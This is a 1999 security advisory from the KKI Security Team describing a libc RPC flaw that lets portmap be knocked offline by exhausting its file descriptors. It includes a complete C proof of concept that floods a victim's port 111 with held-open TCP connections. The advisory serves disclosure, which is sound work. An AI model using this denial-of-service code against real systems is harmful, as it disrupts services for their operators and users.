KKIS.08041999.001.b - security raport - flaws in rpc part of libc

From: Lukasz Luzar (lluzarat_private)
Date: Wed Apr 14 1999 - 06:26:14 PDT

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                               S E C U R I T Y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Contacts ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
KKI Security Team                         Cracow Commercial Internet, Poland
http://www.security.kki.pl                http://www.kki.pl
mailto:securityat_private           mailto:biuroat_private

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Raport title        : Lack of RPC's implementation in libc libraries
                      and how it affects for example portmap.
Problem found by    : Lukasz Luzar (lluzarat_private)
Raport created by   : Robert Pajak (shadowat_private)
                      Lukasz Luzar (lluzarat_private)
Problem found at    : 08 April 1999
Raport published    : 14 April 1999
Raport code         : KKIS.08041999.001.b
Short description   : full description below
Vulnerable versions : libc*, up to current.
Platforms affected  : Linux X.X, FreeBSD X.X, probably others...
Patches             : curently not available
Archive             : http://www.security.kki.pl/advisories/
Impact description  : full description below
Risk level          : medium
Notes               : we were unable to contact with authors of libc

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Description ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 It seems that libc's RPC implementation does not check neither time
of established connections, nor number of connected sockets.
It is quite dangerous, because many network services is based on this
functions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Impact example ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Below there is ther program which shows how to make DoS of portmap (tcp)
When max. limit of descriptors per process is not set, it could
easly lead to haevy problems with victim's machine stability.
(e.g. default sets on FreeBSD)
When limit of open descriptors is reached, portmap begins to refuse all
new connections.

~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Example sources ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- CUT HERE ---
/*
 *  example.c by Lukasz Luzar (lluzarat_private)
 */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ADDR "10.0.0.1"	        // victim's IP address in dot notation
#define PORT 111 		// victim service to DoS eg. portmapper

void main()
{
	int	sockfd,
		n = 0;
	struct sockaddr_in victim_addr;

	bzero((char *) &victim_addr, sizeof( victim_addr));

	victim_addr.sin_family = AF_INET;
	victim_addr.sin_addr.s_addr=inet_addr( ADDR);
	victim_addr.sin_port = htons( PORT);
	
	fprintf( stdout, "Opening new connections...\n");

	for(;;) {
		if(( sockfd = socket( AF_INET, SOCK_STREAM, 0)) < 0) {
			fprintf( stderr, "socket error at %d\n",n);
			break;
		}

		if( connect( sockfd,(struct sockaddr*) &victim_addr,
		    sizeof( victim_addr)) < 0) {
			fprintf( stderr,"connect error at %d\n",n);
			break;
		}

		n++;
	}
	
	fprintf( stdout, "Established %d connections "
			 "and waiting...\n", n);
	for(;;);
	
}
--- CUT HERE ---

~~~~~~~~~~~~~~~~~~~~~~~~[ Copyright statement ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright (c) 1999 KKI Security Team, Poland
All rights reserved.

All questions please address to mailto:securityat_private
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